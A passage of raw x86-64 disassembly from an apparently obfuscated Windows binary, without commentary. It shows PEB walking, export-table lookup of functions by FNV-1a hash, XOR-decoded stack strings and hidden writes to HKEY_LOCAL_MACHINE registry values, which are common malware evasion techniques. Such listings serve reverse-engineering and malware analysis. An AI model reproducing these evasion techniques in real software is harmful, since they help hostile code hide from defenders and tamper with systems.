shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
inc esi
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp esi, 0x1a
jl 0x7ff698f8b351
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rcx, [rbp + 0x110]
call fcn.7ff698f457e0
lea rcx, [rbp + 0x130]
call fcn.7ff698f457e0
mov r12, qword [rsp + 0x600]
xor eax, eax
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.7ff698fe98c0
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov eax, dword [0x7ff699012dc4]
movups xmm0, xmmword [0x7ff699015220]
mov dword [rsp + 0x58], eax
movzx eax, word [0x7ff699012dc8]
movups xmm1, xmmword [0x7ff699015230]
mov word [rsp + 0x5c], ax
movzx eax, word [0x7ff699015248]
mov word [rbp - 0x48], ax
movzx eax, byte [0x7ff69901524a]
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x7ff699015240]
movups xmmword [rbp - 0x60], xmm1
movsd qword [rbp - 0x50], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff698f8b4d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff698f8b4d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x319f0146
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff698f8b4d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff698f8b4b0
cmp r8d, 0x3f170ee9
je 0x7ff698f8b4dc
test r9d, r9d
jne 0x7ff698f8b490
mov rax, qword [rax]
jmp 0x7ff698f8b460
mov ecx, dword [rdi + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x59], 0x3a
add r11, r10
xor byte [rsp + 0x5a], 0x3b
xor byte [rsp + 0x5b], 0x3c
xor byte [rsp + 0x5c], 0x3d
xor byte [rsp + 0x5d], 0x3e
mov byte [rsp + 0x58], 0x43
cmp r12d, 2
jl 0x7ff698f8b657
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x7ff698f8b550
cmp r8d, 0x2b
jge 0x7ff698f8b6a0
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x7ff698f8b670
xor r9d, r9d
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
movzx eax, byte [0x7ff6990151a0]
movsd xmm0, qword [0x7ff699015198]
xor al, 0x41
movsd qword [rsp + 0x60], xmm0
xor byte [rsp + 0x61], 0x3a
xor byte [rsp + 0x62], 0x3b
xor byte [rsp + 0x63], 0x3c
xor byte [rsp + 0x64], 0x3d
xor byte [rsp + 0x65], 0x3e
xor byte [rsp + 0x66], 0x3f
xor byte [rsp + 0x67], 0x40
cmp qword [rbp + 0x128], 7
mov byte [rsp + 0x68], al
lea rax, [rbp + 0x110]
cmova rax, qword [rbp + 0x110]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf8], rax
mov byte [rsp + 0x60], 0x5c
call fcn.7ff698fe8efc
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp - 0x70]
call fcn.7ff698f4e380
lea rax, [rsp + 0x60]
nop dword [rax]
inc r14
cmp byte [rax + r14], sil
jne 0x7ff698f8b770
mov r8, r14
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.7ff698f3d460
xorps xmm0, xmm0
lea rdx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x170]
mov r8d, 2
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
call fcn.7ff698f4d850
mov rax, qword [rbp + 0x170]
lea r14, [0x7ff69900e7b0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], r14
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rsp + 0x70]
call fcn.7ff698f3d390
lea rcx, [rbp - 0x70]
call fcn.7ff698f3d390
lea rdx, [0x7ff699015158]
lea rcx, [rbp + 0x170]
call fcn.7ff698f49d30
lea rdx, [0x7ff698f460e0]
mov rcx, rax
call qword [0x7ff698fef528]
lea rcx, [rbp + 0x178]
call fcn.7ff698f455e0
test rax, rax
jne 0x7ff698f8b876
mov rax, qword [rbp + 0x170]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x170]
add rcx, rax
call qword [0x7ff698fef4d8]
movzx eax, word [0x7ff699015278]
mov r8d, esi
mov word [rbp - 0x48], ax
movzx eax, byte [0x7ff69901527a]
mov byte [rbp - 0x46], al
movups xmm0, xmmword [0x7ff699015250]
movups xmm1, xmmword [0x7ff699015260]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x7ff699015270]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r12d, 2
jl 0x7ff698f8b9f7
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x7ff698f8b8f0
cmp r8d, 0x2b
jge 0x7ff698f8ba40
movsxd rax, r8d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r10, [r10 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r10 - 1], al
cmp r8d, 0x2b
jl 0x7ff698f8ba10
lea rax, [rbp + 0xe0]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff698f8c49b
mov eax, dword [0x7ff699012dc4]
movups xmm0, xmmword [0x7ff699015280]
movups xmm1, xmmword [0x7ff699015290]
mov dword [rsp + 0x48], eax
movzx eax, word [0x7ff699012dc8]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x7ff6990152c0]
movups xmmword [rbp + 0x80], xmm0
movups xmm0, xmmword [0x7ff6990152a0]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x7ff6990152b0]
mov byte [rbp + 0xc0], al
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff698f8bb57
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff698f8bb57
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4053ffe0
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff698f8bb52
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff698f8bb30
cmp r8d, 0x25ea90eb
je 0x7ff698f8bb5c
test r9d, r9d
jne 0x7ff698f8bb10
mov rax, qword [rax]
jmp 0x7ff698f8bae0
mov ecx, dword [rdi + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x49], 0x3a
add r11, r10
xor byte [rsp + 0x4a], 0x3b
xor byte [rsp + 0x4b], 0x3c
xor byte [rsp + 0x4c], 0x3d
xor byte [rsp + 0x4d], 0x3e
mov byte [rsp + 0x48], 0x43
cmp r12d, 2
jl 0x7ff698f8bcd7
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp + 0x84]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x7ff698f8bbd0
cmp r8d, 0x41
jge 0x7ff698f8bd20
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x7ff698f8bcf0
xor r9d, r9d
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x80]
xor ecx, ecx
call r11
movups xmm1, xmmword [0x7ff6990151e8]
movups xmm0, xmmword [0x7ff6990151d8]
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp - 0x20], xmm0
test al, al
je 0x7ff698f8bee0
cmp r12d, 2
jl 0x7ff698f8bea1
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp - 0x1c]
movdqa xmm5, xmmword [0x7ff6990158f0]
mov edx, esi
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x7ff698f8bda0
jmp 0x7ff698f8bee0
lea r10, [rbp - 0x20]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x94f2095
lea r10, [r10 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r10 - 1], al
cmp r8d, 0x20
jl 0x7ff698f8beb0
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp + 0xe8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x20]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExA]
test eax, eax
je 0x7ff698f8c215
mov eax, dword [0x7ff699012dc4]
movups xmm0, xmmword [0x7ff699015178]
mov dword [rsp + 0x30], eax
movzx eax, word [0x7ff699012dc8]
mov word [rsp + 0x34], ax
movzx eax, word [0x7ff699015190]
movups xmmword [rbp + 0xf0], xmm0
mov word [rbp + 0x108], ax
movsd xmm0, qword [0x7ff699015188]
movsd qword [rbp + 0x100], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff698f8bfe7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff698f8bfe7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd14a56c7
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff698f8bfe2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff698f8bfc0
cmp r8d, 0xf49055f6
je 0x7ff698f8bfec
test r9d, r9d
jne 0x7ff698f8bfa0
mov rax, qword [rax]
jmp 0x7ff698f8bf70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x31], 0x3a
add r11, r10
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor byte [rsp + 0x34], 0x3d
xor byte [rsp + 0x35], 0x3e
mov byte [rsp + 0x30], 0x43
cmp r12d, 2
jl 0x7ff698f8c164
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp + 0xf4]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
mov eax, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp esi, 0x18
jl 0x7ff698f8c060
cmp eax, 0x1a
jge 0x7ff698f8c19e
movsxd rax, esi
lea r8, [rbp + 0xf0]
add r8, rax
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
inc esi
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp esi, 0x1a
jl 0x7ff698f8c171
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], r14
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x178]
call fcn.7ff698f45100
lea rcx, [rbp + 0x180]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x218]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x7ff698f8b39f
lea rdx, [rbp + 0x58]
call fcn.7ff698f81dc0
lea rdx, [rbp - 0x70]
mov r14, rax
call fcn.7ff698f8cf80
mov rcx, qword gs:[0x60]
mov r15, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff698f8c2b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff698f8c2b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x2fe054c0
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x7ff698f8c2b2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x7ff698f8c290
cmp r8d, 0x66fe9f0b
je 0x7ff698f8c2bc
test r9d, r9d
jne 0x7ff698f8c270
mov rcx, qword [rcx]
jmp 0x7ff698f8c240
mov ecx, dword [rdi + 0x24]
movzx eax, byte [r14 + 5]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
test al, al
je 0x7ff698f8c2fb
xor byte [r14], 0x39
xor byte [r14 + 1], 0x3a
xor byte [r14 + 2], 0x3b
xor byte [r14 + 3], 0x3c
xor byte [r14 + 4], 0x3d
xor al, 0x3e
mov byte [r14 + 5], al
cmp byte [r15 + 0x2a], sil
je 0x7ff698f8c480
mov r8d, esi
cmp r12d, 2
jl 0x7ff698f8c447
movdqa xmm0, xmmword [0x7ff699015a20]
mov rcx, r15
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x7ff698f8c340
cmp r8d, 0x2b
jge 0x7ff698f8c480
movsxd r9, r8d
add r9, r15
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x7ff698f8c450
xor r9d, r9d
mov r8, r14
mov rdx, r15
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rcx, [rbp + 0x2a0]
call fcn.7ff698f42320
lea rdx, [rbp + 0x60]
call fcn.7ff698f8cfc0
mov rbx, rax
movzx eax, byte [rax + 8]
test al, al
je 0x7ff698f8c4df
xor byte [rbx], 0x39
xor byte [rbx + 1], 0x3a
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x3c
